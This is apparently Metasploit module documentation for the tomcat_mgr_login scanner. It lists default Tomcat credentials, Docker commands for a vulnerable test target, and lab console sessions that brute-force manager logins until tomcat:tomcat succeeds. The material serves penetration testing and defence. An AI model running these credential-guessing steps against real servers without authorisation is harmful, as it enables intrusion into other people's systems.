Tomcat Mgr Login - Metasploit Framework

The auxiliary/scanner/http/tomcat_mgr_login works for Tomcat versions that uses HTTP authentication.

Please note that for Tomcat 7 or newer, the roles required to use the manager application were changed from the single manager role to the following four roles:

manager-gui - Allows access to the HTML GUI and the status pages.
manager-script - Allows access to the text interface and the status pages.
manager-jmx - Allows access to the JMX and the status pages.
manager-status - allows access to the status pages only.

Older versions of Tomcat came with default passwords enabled by default. For example:

Tomcat 4

Username	Password	Role
tomcat	tomcat	tomcat
role1	tomcat	role1
both	tomcat	tomcat, role1

Tomcat 5

Same as Tomcat 4

Newer Tomcat versions have these passwords commented out.

If you are using the default Metasploit credential lists, these usernames and passwords are already loaded.

Vulnerable Application

A Docker target is available. Build and run it with:

docker build -t tomcat-msf-test test/tomcat/
docker run --rm -p 8080:8080 tomcat-msf-test

The test credentials are tomcat / tomcat.

To download the vulnerable application, you can find it here: https://tomcat.apache.org/whichversion.html.

Verification Steps

Do: auxiliary/scanner/http/tomcat_mgr_login
Do: set RHOSTS [IP]
Set TARGETURI if necessary.
Do: run

Scenarios

All scenarios are run with the credentials tomcat/tomcat.

Tomcat 6

Tomcat 6.0.48 running on Ubuntu 14.04

msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rport 8080
rport => 8080
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.156
rhosts => 192.168.2.156
msf auxiliary(tomcat_mgr_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.156:8080 - LOGIN FAILED: admin:admin (Incorrect)

...snip...

[-] 192.168.2.156:8080 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.2.156:8080 - LOGIN SUCCESSFUL: tomcat:tomcat
[-] 192.168.2.156:8080 - LOGIN FAILED: both:admin (Incorrect)

...snip...

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Tomcat 7

Tomcat 7.0.68 running on Windows XP

msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rport 8087
rport => 8087
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.108
rhosts => 192.168.2.108
msf auxiliary(tomcat_mgr_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.108:8087 - LOGIN FAILED: admin:admin (Incorrect)

...snip...

[-] 192.168.2.108:8087 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.2.108:8087 - LOGIN SUCCESSFUL: tomcat:tomcat
[-] 192.168.2.108:8087 - LOGIN FAILED: both:admin (Incorrect)

...snip...

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Tomcat 8

Tomcat 8.0.32 running on Windows XP

msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.108
rhosts => 192.168.2.108
msf auxiliary(tomcat_mgr_login) > set rport 8088
rport => 8088
msf auxiliary(tomcat_mgr_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.108:8088 - LOGIN FAILED: admin:admin (Incorrect)

...snip...

[-] 192.168.2.108:8088 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.2.108:8088 - LOGIN SUCCESSFUL: tomcat:tomcat
[-] 192.168.2.108:8088 - LOGIN FAILED: both:admin (Incorrect)

...snip...

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed